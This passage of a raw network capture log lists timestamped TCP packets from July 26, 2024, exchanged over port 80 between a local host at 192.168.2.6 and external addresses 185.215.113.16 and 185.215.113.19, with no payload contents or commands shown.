Jul 26, 2024 13:49:32.455679893 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455713034 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455809116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455848932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.455882072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.458713055 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.459295988 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.459336042 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.460844040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.460942984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.460975885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.461152077 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.463409901 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.463459969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.463490963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464024067 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464057922 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464092016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464179993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464211941 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464317083 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464349031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464381933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464413881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464447021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464521885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464554071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464668989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464699984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464732885 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464765072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464799881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464832067 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464865923 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.464936018 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.465010881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.465043068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.465074062 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.465727091 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.465827942 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.472770929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.472887993 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.472903013 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.472937107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.472963095 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.472987890 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.473001003 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.473021030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.473040104 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.473053932 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.473086119 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.473218918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.473252058 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.473285913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.473381042 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.473438025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.473470926 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.473503113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.473529100 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.473570108 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.489439011 CEST	59059	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:32.490098000 CEST	59062	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:32.494900942 CEST	80	59062	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:32.494966984 CEST	59062	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:32.495233059 CEST	59062	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:32.495363951 CEST	80	59059	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:32.495455980 CEST	59059	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:32.500329018 CEST	80	59062	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:32.531917095 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.531986952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532022953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532056093 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532090902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532144070 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532179117 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532228947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532263041 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532304049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532392025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532426119 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532524109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.532557011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.533019066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.533052921 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.533083916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.535403967 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.542923927 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.589633942 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.589662075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.589678049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.589711905 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.589735985 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.590280056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.590306044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.590317965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.590449095 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.591460943 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.591501951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.591512918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.591854095 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.591857910 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.591918945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.591931105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.592015982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.592530966 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.593209982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.593306065 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.593316078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.593447924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.593564034 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.593575001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.596442938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.596487999 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.596498966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.596870899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.596951962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.596966982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.596978903 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.596987963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.597017050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.597115993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.602771997 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.602798939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.602809906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.602930069 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.602941036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.602951050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.602962017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.603182077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.603192091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.603199959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.604726076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.604770899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.604782104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.604912043 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.604922056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.604932070 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.604942083 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605124950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605191946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605201006 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605427980 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605506897 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605516911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605551958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605663061 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605745077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605760098 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605830908 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605839968 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605974913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.605986118 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606079102 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606090069 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606220961 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606230021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606240034 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606249094 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606472969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606483936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606493950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606503010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606512070 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.606817961 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.607067108 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.607144117 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.607151985 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.607196093 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610169888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610182047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610260010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610270977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610363007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610373020 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610456944 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610467911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610579014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610589027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610599041 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610609055 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610789061 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610799074 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610809088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.610882044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.615777969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.615788937 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.615798950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.615968943 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.617130041 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.617182970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.617213011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.617244005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.617738008 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.617789030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.617822886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.617928982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.618053913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.618163109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.618196011 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.618230104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.618321896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.618355036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.618387938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.618422985 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.621802092 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.621891975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.621944904 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.621978998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.622096062 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.622128963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.622162104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623018980 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623054028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623085976 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623200893 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623233080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623265982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623297930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623425961 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623459101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623492956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623600960 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623634100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623667955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.623701096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.638797045 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.642808914 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.642849922 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.642883062 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.642930984 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.643059015 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.643091917 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.643167973 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.645483971 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.645524979 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.645555973 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.682435036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.682507992 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.682562113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.682595968 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.682630062 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.682662964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.682698965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.683918953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.683953047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.683986902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.684108019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.684139967 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.684174061 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.684237003 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.687613010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.687649012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.687684059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.687750101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.687782049 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.687815905 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.687849998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.693183899 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.693198919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.696837902 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.697730064 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.697783947 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.746825933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.746844053 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.746855021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.746864080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.746887922 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.746897936 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.746907949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.746917963 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747054100 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747215986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747225046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747235060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747243881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747253895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747529984 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747539997 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747549057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747559071 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747569084 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747577906 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747587919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747911930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.747920990 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.750235081 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.750344038 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.750636101 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.754302025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.754417896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.754426956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.754468918 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.754478931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.754585028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.754595041 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.754602909 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.755196095 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.757086992 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.757119894 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.757153988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.757246017 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.757278919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.757312059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.757364988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.757399082 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.757431030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.757464886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.757514954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.757550955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.758795023 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:32.759969950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760004044 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760036945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760086060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760119915 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760168076 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760201931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760230064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760262966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760298967 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760328054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760432005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760464907 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760519981 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760551929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760584116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760616064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760649920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760807991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760839939 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760873079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760905981 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:32.760940075 CEST	80	59056	185.215.113.16	192.168.2.6
